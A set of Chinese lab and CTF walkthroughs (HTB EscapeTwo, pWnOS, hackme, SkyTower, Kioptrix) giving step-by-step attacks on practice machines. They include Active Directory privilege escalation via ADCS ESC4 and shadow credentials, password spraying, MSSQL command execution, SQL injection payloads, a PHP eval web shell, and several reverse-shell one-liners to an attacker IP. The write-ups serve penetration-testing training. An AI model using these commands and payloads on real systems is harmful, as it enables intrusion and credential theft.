HTB-EscapeTwo HTB：EscapeTwo已有信息为rose/KxEPkKe6R8su我们使用nmap进行端口扫描nmap -sT -p- -T5 -A -Pn 10.10.11.51Tips：如果发现端口扫描的慢的话，要用代理比如小猫，kali代理到小猫的那个端口，修改proxychAIns的配置文件 /etc/proxychAIns4.conf 然后 proxychAIns openvpn lab_xxxxx.ovpn 挂到后台就行修改hostsecho "10.10.11.51 sequel.htb" | sudo tee -a /etc/hosts尝试一个基本的SMB枚举（已知信息），看看是否能登录成功┌──(root㉿kali)-[/data/demo] └─# crackmapexec SMB sequel.htb -u rose -p KxEPkKe6R8su --computers SMB sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domAIn:sequel.htb) (signing:True) (SMBv1:False) SMB sequel.htb 445 DC01 [+] sequel.htbrose:KxEPkKe6R8su SMB sequel.htb 445 DC01 [+] Enumerated domAIn computer(s) SMB sequel.htb 445 DC01 sequel.htbDC01$枚举SMB服务器共享信息SMBmap -u 'rose' -p 'KxEPkKe6R8su' -H 10.10.11.51使用SMBclient登录┌──(root㉿kali)-[/data/demo] └─# smbclient //sequel.htb/Users -U sequel.htb\rose Password for [SEQUEL.HTBrose]: Try "help" to get a list of possible commands. smb: > dir . DR 0 Sun Jun 9 09:42:11 2024 .. DR 0 Sun Jun 9 09:42:11 2024 Default DHR 0 Sun Jun 9 07:17:29 2024 desktop.ini AHS 174 Sat Sep 15 03:16:48 2018 6367231 blocks of size 4096. 880750 blocks avAIlable smb: > ┌──(root㉿kali)-[~] └─# smbclient //sequel.htb/'Accounting Department' -U sequel.htb\rose Password for [SEQUEL.HTBrose]: Try "help" to get a list of possible commands. smb: > dir . D 0 Sun Jun 9 06:52:21 2024 .. D 0 Sun Jun 9 06:52:21 2024 accounting_2024.xlsx A 10217 Sun Jun 9 06:14:49 2024 accounts.xlsx A 6780 Sun Jun 9 06:52:07 2024 6367231 blocks of size 4096. 871029 blocks avAIlable smb: >参数解释smbclient : 这是一个用于与SMB/CIFS（Common Internet File System）服务器进行交互的命令行工具。它可以用来浏览共享资源、上传/下载文件等操作。//sequel.htb/Users : // 这是目标SMB共享的起始路径，sequel.htb是目标主机的域名或IP地址，Users 是共享资源的名称，通常表示存储用户文件的共享文件夹。-U sequel.htb\rose : -U参数用于指定连接时使用的用户名，sequel.htb工作组/域，rose具体的用户名执行该命令后，系统通常会提示输入 rose 用户的密码。输入正确的密码后，用户将能够访问 Users 共享中的文件和目录，类似于在文件资源管理器中访问网络共享。我们登录到Accounting Department这个smb服务器的时候发现了两个xlsx表格文件，我们尝试将这个文件下载下来我们使用get命令下载这两个文件此时得到了密码信息angela/0fwz7Q4mSpurIt99 oscar/86LxLBMgEWaKUnBG kevin/Md9Wlq1E5bZnVDVo sa/MSSQLP@ssw0rd!有一个sa账户，像是mssql的用户名和密码，并且1433端口也是开启的（待会会用上）我们将上面的密码保存到一个txt文件中，枚举域内用户echo '0fwz7Q4mSpurIt99 86LxLBMgEWaKUnBG Md9Wlq1E5bZnVDVo MSSQLP@ssw0rd!' > pass.txt netexec ldap 10.10.11.51 -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users将用户名保存到user.txtAdministrator Guest krbtgt michael ryan oscar sql_svc rose ca_svc此时你的目录下面有这四个文件┌──(root㉿kali)-[/data/demo] └─# ls accounting_2024.xlsx accounts.xlsx pass.txt user.txt就接下来使用密码喷洒得到账号密码信息oscar 86LxLBMgEWaKUnBG通过 WinRM（Windows Remote Management）协议对目标主机 10.10.11.51 进行身份验证nxc winrm 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'利用mssql执行系统命令netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'whoami'利用dir进行目录遍历，发现一个sql2019，应该是mssql的目录netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:/'继续遍历netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:SQL2019ExpressAdv_ENU'发现一个sql-Configuration.INI文件netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:SQL2019ExpressAdv_ENU'查看文件内容netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'type c:SQL2019ExpressAdv_ENUsql-Configuration.INI'发现两个东西SQLSVCPASSWORD="WqSZAF6CysDQbGb3" SQLSVCACCOUNT="SEQUELsql_svc"参数介绍SQLSVCACCOUNT表示 SQL Server 服务将在一个名为 sql_svc 的域账户下运行。SQLSVCPASSWORD 是 SQLSVCACCOUNT 账户的密码再次进行密码喷洒 netexec mssql 10.10.11.51 -u user.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success得出两个凭证，测试哪个能利用winrm进行登录netexec winrm 10.10.11.51 -u user.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success得出一个结果ryan用户能使用远程登录evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'切换到ryan的桌面，找到第一个flag提权域内信息收集使用netexec枚举靶机域内信息netexec ldap 10.10.11.51 -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' --dns-server 10.10.11.51 --bloodhound -c Allbloodhound用于分析和可视化域内的用户、组、计算机、权限关系等数据，帮助安全研究人员或攻击者快速发现攻击路径和权限提升机会。下载由图标可见，ryan用户对ca_svc用户具有WriteOwner权限查看ca_svc用户信息net user ca_svc /domAIn由输出可见，该用户属于Cert Publishers组使用bloodyAD将ca_syc用户拥有者修改为ryan用户┌──(root㉿kali)-[/data/Windows_atk/script] └─# bloodyAD -d sequel.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' [+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc使用 ryan 的凭据将 AD 对象 ca_svc 的所有者权限转移给 ryan，是典型的权限提升或后渗透操作。成功执行后，攻击者可完全控制 ca_svc 账户，进一步渗透域环境。这里如果失败的话呢，需要重置一下机器，因为可能是别人打过的┌──(root㉿kali)-[/data/Windows_atk/script] └─# python dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] DACL backed up to dacledit-20250309-193835.bak [*] DACL modified successfully!将本地时钟与靶机同步sudo ntpdate 10.10.11.51使用certipy-ad创建ca_svc用户影子证书，获得该用户NTLM密码哈希certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -target sequel.htb -dc-ip 10.10.11.51 -ns 10.10.11.51账号：ca_svc密码hash：3b181b914e7a9d5508ea1e20bc2b7fcegit clone https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git cd .Ghostpack-CompiledBinaries upload Certify.exe .Certify.exe find /domAIn:sequel.htb由输出可见，该模板对DomAIn Admins具有注册权利，而且Cert Publishers对该模板具有完全控制权限，因此恶意利用该模板即可获取管理员密码哈希使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞┌──(root㉿kali)-[/data/Windows_atk/script] └─# certipy-ad find -u ca_svc@10.10.11.51 -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -vulnerable -stdout Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA [!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP [*] Got CA configuration for 'sequel-DC01-CA' [*] Enumeration output: Certificate Authorities 0 CA Name : sequel-DC01-CA DNS Name : DC01.sequel.htb Certificate Subject : CN=sequel-DC01-CA, DC=sequel, DC=htb Certificate Serial Number : 152DBD2D8E9C079742C0F3BFF2A211D3 Certificate Validity Start : 2024-06-08 16:50:40+00:00 Certificate Validity End : 2124-06-08 17:00:40+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : SEQUEL.HTBAdministrators Access Rights ManageCertificates : SEQUEL.HTBAdministrators SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins ManageCa : SEQUEL.HTBAdministrators SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins Enroll : SEQUEL.HTBAuthenticated Users Certificate Templates 0 Template Name : DunderMifflinAuthentication Display Name : Dunder Mifflin Authentication Certificate Authorities : sequel-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectRequireCommonName SubjectAltRequireDns Enrollment Flag : AutoEnrollment PublishToDs Private Key Flag : 16842752 Extended Key Usage : Client Authentication Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Validity Period : 1000 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Permissions Enrollment Permissions Enrollment Rights : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins Object Control Permissions Owner : SEQUEL.HTBEnterprise Admins Full Control Principals : SEQUEL.HTBCert Publishers Write Owner Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers Write Dacl Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers Write Property Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers [!] Vulnerabilities ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions由末尾输出可见，利用该模板可导致ESC4漏洞攻击certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.10.11.51 -debug使用certipy-ad请求一份Administrator用户符合模板要求的证书certipy-ad req -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -dc-ip 10.10.11.51使用certipy-ad借助pfx证书通过身份认证，使用impacket-psexec通过上述哈希凭证登录靶机certipy-ad auth -pfx administrator_10.pfx impacket-psexec sequel.htb/administrator@10.10.11.51 -hashes 'aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff'C:UsersAdministratorDesktop 找到root.txt文件C:UsersAdministratorDesktop> type root.txt 6ca10bc95839bb3243539e3d7ea4f362至此，靶机渗透结束往期推荐红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎！媲美DeepSeek，附源码【oscp】Tr0ll 靶机全系列（1-3），FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细

pWnOS系列全教程，Webmin文件披露，Simple PHP Blog渗透教程 pWnOS系列全教程，Webmin文件披露，Simple PHP Blog渗透教程pWnOS1.0打靶思路下载链接见：https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip注意一定要选择这个 “我已移动该虚拟机” ，否则扫描不到靶机。网络模式为nat，开机后使用主机发现命令arp-scan -l端口扫描，端口扫描的内容如下总共有两个http服务，一个是10000端口（注意这里如果登录错误太多了话，会导致你的ip封禁）一个是80端口，点击next我们一路下一步被嘲讽了嘲讽页面的sql注入（像xss，文件包含都试试）http://10.10.10.129/index2.php?name=admin%27%20and%201=1%20--+&level=sk1ll3d+n00b%27%20and%201=1%20--+&submit=Please+Help%21 # sql http://10.10.10.129/index2.php?name=../../../../../../../../etc/passwd&level=../../../../../etc/passwd&submit=../../../../etc/passwd # 文件包含经过一番测试后，发现一个文件包含点http://10.10.10.129/index1.php?help=true&connect=/etc/passwd/etc/shadow 密码文件有了文件包含，但是没有文件上传点，不能通过文件包含图片马的方式获取shell，转换思路，分析/etc/passwd文件，他有四个用户curl 'http://10.10.10.129/index1.php?help=true&connect=/etc/passwd'目录扫描出来一个php文件夹，包含了phpmyadmin站点目录，但是需要进行401认证，弱口令admin/admin，root/root登录失败，那么切换这四个用户试试呢vmware obama osama yomama很遗憾都失败了，我点击了取消，这里出现了指纹信息，phpMyAdmin 2.6.3-pl1上exp可以看到这是一个跨站脚本的漏洞对于我们获取shell用处不是很大，继续切换思路，放眼到10000端口，可以试试之前的用户名（都失败）那么就上exp，Webmin，那么如何选择这些内容呢尽量不选择Metasploit的利用方式，据红队笔记大佬说，Metasploit好比一个黑盒，我们看不到执行的过程，不利于学习渗透（OSCP考试也限制使用msf）。其次需要认证Authenticated的漏洞我们也不选，因为此时我们都不知道如何登录Webmin。CSRF的漏洞优先级较低，也先不考虑，我们需要优先考虑能直接获取 shell 的漏洞。所以有用的脚本可能如下，命令执行的有三个 705、746、47293，文件披露（任意文件泄露）的有两个1997、2017文件披露的1997（不行）、2017可以根据提示，得出命令如下，读出/etc/shadow密码文件perl 2017.pl 10.10.10.129 10000 /etc/shadow http用户vmware密码h4ckm3，其他几个都失败由于靶机那边出了点问题，不能让我ssh连接了（源wp是可以的，应该是ssh版本太新了，windows和kali都不行，连不上）这里我就想了个办法，只能用nc反弹了（登录原来的系统）nc 10.10.10.128 6666 -e /bin/bash切换上级目录，可以看到不是交互式终端创建交互式终端python -c 'import pty; pty.spawn("/bin/bash");'系统信息收集，是ubuntu非常老的版本了7.10看看有没有内核提权（没有）sudo -l ，很遗憾了，这个用户好可怜，用不了sudo，和我们一样都是打工仔uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替 sudo -l # 查看可以使用sudo的文件 find / -perm -4000 -print 2>/dev/null # 查找 SUID文件 ls -al /etc/cron* # 查看所有计划任务 find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息计划任务，没有一个普通用户能用的，打工仔已经坐不住了回到刚刚读取到的shadow文件，既然能读取shadow文件，那么一定是以root的身份读取这个文件的，如果我们上传一个可执行的脚本呢？利用prel语言来读取并执行这个文件。之所以要将后缀名改为.cgi，我的理解是要将perl语言的代码改写为执行文件，如果不修改后缀名的话，用2017.pl的exp只能以root权限读取shell.pl，而无法执行shell.pl，也就无法反弹shell。cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgiWebmin 的可执行文件后缀 无后缀：Webmin 的主可执行文件通常是一个没有后缀的脚本文件，例如 Webmin。 .cgi 后缀：Webmin 使用 CGI 脚本来处理 Web 请求，这些脚本文件通常以 .cgi 为后缀。例如， /usr/share/Webmin/ 目录下的许多文件都是 .cgi 文件。 .pl 后缀：Webmin 的某些脚本文件可能以 .pl 为后缀，表示它们是 Perl 脚本。例如，/etc/Webmin/ 目录下的配置文件和脚本文件可能包含 .pl 后缀。 修改这个可执行文件靶机下载后将文件赋予执行权限which wget wget 10.10.10.128:443/shell.cgi chmod +x shell.cgi继续利用脚本perl 2017.pl 10.10.10.129 10000 /tmp/shell.cgi http反弹成功pWnOS2.0打靶思路下载链接见：https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip下载之后用VMware打开，特别注意，这个靶机的ip是固定的10.10.10.100，我们需要将靶机设置为NAT模式，同时要将攻击机kali的ip也处于10.10.10.0/24这个网段，具体在菜单栏的编辑——虚拟网络编辑器，如下，点击更改设置，保证虚拟机的子网ip是10.10.10.0即可（否则可能扫不到靶机的ip）。主机发现全端口syn扫描访问80端口目录扫描有一个info.php，找到文件/blog/config/这里有两个文件第一个文件内容No Title|No Author|No Footer|english|new_to_old|new_to_old|1|5|1|b,i,strong,em,url|email@myblog.com||||||1||密码文件内容，是一个md5(Unix)类型的加密$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/返回到主页，测试sql注入sql语句报错，存在sql注入漏洞那么就万能密码，成功登录页面只有一个Welcome admin@isints.com，一个邮箱信息，admin' || 1=1 -- +Powered by Simple PHP Blog 0.4.0 cms的版本指纹信息框中的这第四个有一个msf的exp，远程命令执行（Remote Command Execution），符合条件的只有后面两个他是说这个系统中有三个漏洞，第一个是暴露了 password.txt ，刚开始我们目录扫描的时候已经扫描出来了，第二个在登录用户的图像上传，没有身份验证，上传任意的文件，第三个漏洞是博客评论可以任意删除。看样子是需要我们登录进去了，还有一个exp没有用上插叙：如果出现运行报错Can't locate Switch.pm in @INC，应该是perl版本依赖未安装的问题，运行如下命令即可。sudo apt install libswitch-perl根据他的提示，我们利用 -e 参数，指定好第一个文件上传的选项 1，这里提示我们在网站的images下面创建了一个cmd.php文件访问即可利用python反弹shellpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'这里就不需要创建交互式终端了，这里使用python反弹的shell，默认已经可以交互式了。系统信息收集，属于低版本的ubuntu，首先考虑的是内核提权继续信息收集，返回上级目录，看到一个mysqli_connect.php文件，可以看到mysql的密码信息user : root pass : goodday鉴权失败返回home看到有一个用户，用刚刚的mysql密码登录试试，鉴权失败文件权限信息收集find / -perm 777 -type f 2>/dev/null # 777文件 find / -perm -4000 -print 2>/dev/null # SUID文件sudo -l 意外的发现，www-data用户能够使用sudo，但是不知道密码经过一番折腾后，在var目录下面又找到了一个数据库连接的文件密码为 root@ISIntS又是一个密码信息，大概率是dan用户的admin@isints.com鉴权失败目前已知三个密码信息（其中一个是邮箱）admin@isints.com # 数据表中dan的邮箱 root@ISIntS # 数据库密码 goodday # 假的数据库密码回到刚刚的内核提权，尝试一下已关机。。。。利用失败靶机提权主要是利用已知的所有密码信息，进行密码碰撞，利用数据库连接的密码，切换root用户来进行提权也可以使用第二种方法（考试只能使用一次），msf（不清楚什么原因，漏洞利用成功，建立会话失败，是利用失败的，可以自行尝试）msfconsole search Simple PHP Blog 0.4.0 set rhosts 10.10.10.100 set URI blog set payload php/meterpreter/reverse_tcp run往期推荐网络安全从业者生存指南（硬货篇）【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！Viper一个互联网攻击面管理，红队模拟平台【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【OSCP】Tr0ll 靶机全系列（1-3），FTP被玩坏了ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略

vulnhub靶机hackme 主机发现和80探测端口扫描目录扫描，访问这个图片看看没东西了，就登录试试万能密码注册一个用户去登录后，那个重置密码的url没有用了，旁边那个链接就是退出登录直接进入的时候是没有任何结果的，要先点一下search按钮搜索关键字，OSCP能直接查出结果了，存在sql注入漏洞，需要注意的是万能密码地方的空格（qwq前面的空格很重要）OSCP' or 1=1 -- qwq判断列数OSCP' or 1=1 order by 3 -- qwq联合查询OSCP' union select 1,2,3 -- qwq当前数据库OSCP' union select database(),2,3 -- qwq # webapphacking暴数据库OSCP' union select group_concat(schema_name),2,3 from information_schema.schemata -- qwq # information_schema,mysql,performance_schema,sys,webapphacking暴当前数据库的表OSCP' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() -- qwq # books,usersusers表的列（字段）OSCP' union select group_concat(column_name),2,3 from information_schema.columns where table_schema=database() and table_name="users" -- qwq # id,user,pasword,name,address暴表数据OSCP' union select group_concat(user,'-',pasword),2,3 from users -- qwq # user1-5d41402abc4b2a76b9719d911017c592 hello # user2-6269c4f71a55b24bad0f0267d9be5508 commando # user3-0f359740bd1cda994f8b55330c86d845 p@ssw0rd # test-05a671c66aefea124cc08b76ea6d30bb testtest # superadmin-2386acb2cf356944177746fc92523983 Uncrackable # test1-05a671c66aefea124cc08b76ea6d30bb testtest # 下面两个是新加的 # xiaoyu-348f10f863b27ec106195c96e23dcd91 xiaoyu # admin-e10adc3949ba59abbe56e057f20f883e 123456有了密码，ssh试试全都失败登录账号 superadmin 有一个文件上传上传一个一句话木马shell.php<?php @eval($_POST['cmd']);?>蚂蚁连接这里的nc没有-e参数，所以用如下命令进行反弹 shellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.111.128 6666 >/tmp/f反弹成功创建交互式终端python3 -c 'import pty; pty.spawn("/bin/bash");'系统信息收集切换到home文件夹下面，意外发现一个suid文件执行文件，即可提权成功往期推荐【OSCP】Blender软件的信息泄露---VulnOSv2【oscp】Tr0ll 靶机全系列（1-3），FTP被玩坏了【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略

Sudo的上级目录提权，SkyTower Sudo的上级目录提权，SkyTower主机发现80探测端口扫描目录扫描，没有任何可以利用的信息admin' and 1=1 --+sql注入语法错误，存在sql注入漏洞万能密码没有用（admin' or 1=1 --+），发现对or，and，-- ，=进行了过滤，只剩下了这些号测试，没有过滤那么还有一种写法，就是|| 用这个代替or登录成功得到了ssh的账号密码，john / hereisjohn但是前面我们的22ssh端口是关闭的，该怎么办呢？3128这个端口呢是一个代理的端口，所以我们用如下代理进行连接ssh这里我们要用到一个叫代理跳转，现在我们设置一下代理proxytunnel -a 6666 -p 192.168.111.154:3128 -d 192.168.111.154:22新建一个终端,，连接本地的6666端口，这时候就成功连接了代理的ssh，但是自动断开了ssh john@127.0.0.1 -p 6666这里尝试执行命令，成功，但是会自动断开连接反弹shell试试查看当前登录的配置文件ssh john@127.0.0.1 -p 6666 -t "cat .bashrc"删除最后一行，还是不行哈，还是有这个东西（exit）ssh john@127.0.0.1 -p 6666 -t "sed -i '$d' .bashrc"那么就全部复制到一个文件里面，在kali中把原来的删了，再使用wget下载这时候再登录，就成功了内网信息收集sudo，SUID没有思路了就去网站的根目录，看源码并且进程中还有一个mysqlroot/root，登录mysql三个用户的邮箱和密码都知道了mysql> select * from login; +----+---------------------+--------------+ | id | email | password | +----+---------------------+--------------+ | 1 | john@skytech.com | hereisjohn | | 2 | sara@skytech.com | ihatethisjob | | 3 | william@skytech.com | senseable | +----+---------------------+--------------+我们切换用户sara，Funds have been withdrawn，资金已被撤回william用户鉴权失败登录看看，还是要ssh登录哈和刚刚一模一样从kali中下载这个bash文件登录成功sudo能用那么久利用它的accounts目录，进行提权，查看shadow密码文件，这东西肯定加了盐的，很难破解出来$6$rKYhh57q$AVs1wNVSbE5K.IU1Wp9l7Ndg3iPlB7yczctQD6OL9fBZir2ppGDA6v0Vx17xjg.b3zu6mkAVpEN2BuG3wvS2l/这时候可以直接用sudo查看flag提权成功！往期推荐不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学防溯源小技巧ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略【oscp】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录

Kioptrix 提权靶机（1-5）全系列教程，Try Harder！ 【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！emmm 什么是OSCP？是由OffSec公司提供的一个专业级别的道德黑客认证。它是针对渗透测试的专业认证，旨在验证个人在实际环境中进行渗透测试的能力。与其他理论导向的认证不同，OSCP侧重于实践技能和真实世界情景的模拟。它也叫做国际进攻性安全认证，如果有想要报考OSCP的师傅们欢迎咨询我们安全团队，我们给您打骨折。本次教程靶机如下，都准备好了，直接下载就好，并且解决了官方靶机扫描不到的问题：链接：https://pan.quark.cn/s/475209fc0c05level 1主机发现上一步没有加-sV参数，这里加上之后的信息看看80有什么随便点点啥也没有，有个METGT2.9.5不知道能不能用得上再点点有个php文件，啥用没有不管啥服务都搜一搜利用这个poc，有版本区间了，用用第二个用户名枚举的poc发现是用得python2pip也不存在，看样子用不了了，我们换一个mod_ssl 刚刚使用nmap -sV参数扫出来的版本信息，还有谷歌插件wapplayer信息收集插件，都能看到这个mod_ssl使用第一个exp，这里看到有提示信息按照他的提示信息，我敲，这谁顶得住啊，这提示信息，看不懂，跳过，直接下载，艹复制下载链接，可以发现这个单词变成了download 下载的意思，直接下载刚刚searchsploit 的 exp文件换一个，卧槽这谁顶得住啊官方编译好的都执行不了，等我换个kali。。。。。24小时后。。。。。卧槽还是不行等我仔细看看exp报错信息，他说的是 } 附近语法错误，看不懂代码，用本地exp重新编译，报了这个错误，似乎是要加上这一个参数加上后还是报错，openssl版本问题，这是一个已经弃用的（deprecated）函数，百度了一下，需要使用-Wno-deprecated-declarations参数，就是前面的那个-Wdeprecated变成 -Wno-deprecated所以完整的参数是这样的，这样就能够成功编译了，命令如下gcc -o exp 47080.c -lcrypto -lssl -Wno-deprecated-declarations执行exp，他会告诉你怎么使用，以及每个参数的用法，英文好一点的就可以直接看，不好也没关系，翻译软件2s钟的事儿wapplyer插件，看web服务器版本使用exp会告诉你怎么使用，看着后面的apache，这个时候进行筛选就行了遇到这种good bye的那么就是利用失败，一个一个尝试就好了直到参数如下，成功获取到了shell，并且有一串提示信息貌似是执行过这几条命令，做一次历史命令信息收集，history，但是发现切换到tmp目录下面的时候什么也没有，看样子是没有下载文件尝试下载，但是下载失败了既然不能下载，那么我们使用kali下载，然后再传到靶机上面去利用kali下载文件后，使用python开启http服务可以看到下载成功根据之前的命令提示，按着顺序输入命令，进行编译后，就会断开连接重新连接，他就会自动执行刚刚编译好的exp文件这个时候就提权成功了，为什么会自动执行那个exp？查看源码就可以发现了samba提权这里是一种提权方法，还有另外一种smb提权，OSCP考试是不允许使用MSF的（只有一次机会），我找了很多kali自带的工具，都识别不到smb版本无奈，只能使用MSF了，识别出来了版本为 2.2.1a这里找到一个版本，第二个，因为第一个是MSF版本，我们需要手工利用exp编译，执行提权成功level 2主机探测syn全端口扫描nmap -sS -T5 192.168.111.184 -A使用curl访问80，可以看到是html信息弱口令，sql注入测试失败mysql远程连接，也失败了，提示了目标mysql服务器没有开启远程连接dirb目录扫描出来一个html页面，不知道是干什么的，不过看样子应该是和apache相关的信息文件使用wappalyzer插件，查看一些中间件服务版本和nmap指纹探测一波找找版本exp，目前收集到的信息，不能确认exp，唯一能能确定的就是那个拒绝服务攻击，但是对我们没什么用这里看到一个本地提权，待会应该能用上，先记着编号是 7550759端口信息不够，直接跳过，但是目前也没有什么可以利用的了，再返回登录框看看，再试试sql注入，注意这次的sql注入和我之前的sql注入是有区别的# 之前的 admin' and 1=1 --+ # 现在的（+号前面多了个空格） admin' and 1=1 -- + 万能密码成功其实也算不上是万能密码，我这样也能进去，只要打乱了sql语句就行了进去index.php后查看源码信息，哎呀卧槽，这里还有隐藏的代码，分析表单看样子是要执行一个ping命令，并且传参给pingit.php还是post请求那么就能得到这个接口请求的payload看样子是一个命令执行，但是尝试了如下反弹shell后，都没有反应ip=127.0.0.1 && /bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1 nc 192.168.111.128 8888 -e /bin/bash试试whoami，我敲，看样子被耍了，这根本不是命令执行啊再看看源码有一个Administrator，可能也是一个有用的信息这里还有一种方法，就是新加一个页面在浏览器中以 html格式修改，把它原来的源码复制上去加上缺少的单引号回车，这样它的input框就出来了尝试127.0.0.1，这下有回显了，刚刚怎么没有？from.submit is not a fun，这个的大致意思呢就是，表单无效，hackbar模拟提交表单的时候，没有处罚javascript的表单提交的方法，那就是编码类型不对了因此切换表单提交的编码类型需要修改一下，这样就可以正常执行了这里执行命令的时候会发现，我使用一个 | 管道符，不管前面的命令是否执行成功，都只执行后面的那一条语句但是bash反弹shell的时候，是失败的，因为这个&和提交的表单数据冲突了需要修改为 %7C 为 | 的，但是这样很麻烦，换一种方法，直接在源页面写不更好嘛？在原来的页面写命令，这样会给我们的http post数据包自动编码反弹成功信息收集找到个这个根据提示加了-Wno-int-to-pointer-cast参数后，提示了很多的无效的指令（invalid instruction）切换思路，继续信息收集，使用lsb_release -a命令查看系统信息，可以看到是比较老的 centos 版本，存在很多漏洞漏洞检索，centos 4.5kali编译失败传到靶机试试（注意kali开启http服务）提权成功之前我们提到过一个服务的提权编号是7550，这里去尝试尝试查看源码，貌似却少一个文件，但是使用方法就是那样使用的，可以判断当前系统不存在此服务漏洞level 3主机发现，80探测节省时间，nmap放在后台扫描新建终端，dirb也放在后台扫描我们访问80端口wapplalyzer随便点点，这个页面，感觉没发现什么盲测sql注入bolg界面的框框xss字典攻击，失败这个时候nmap和dirb都扫完了，回去看看有一个phpmyadmin，弱口令 root/root弱口令爆破，全都是302跳转简单sql万能密码测试这里把密码清空，万能密码直接进去了并且可以写文件，这个为空就代表可以写文件show global variables like "secure%";网站根目录猜测为 /var/www/html写入文件测试，拒绝访问，没有使用密码切换方式，继续信息收集，刚刚目录扫描出来的一个登录框框检索漏洞，这里有一个命令执行漏洞，要用到MSF，再想想其他办法，考试只有一次机会github查找使用git clone 下来执行这个sh文件根据提示输入参数开启交互式终端信息收集/etc/passwd权限信息检索漏洞kali编译不了，我们传到靶机上试试提权失败又仔细看了看这个是小于号，不是小于等于用第一个试试，还是失败重新筛选一下，searchsploit 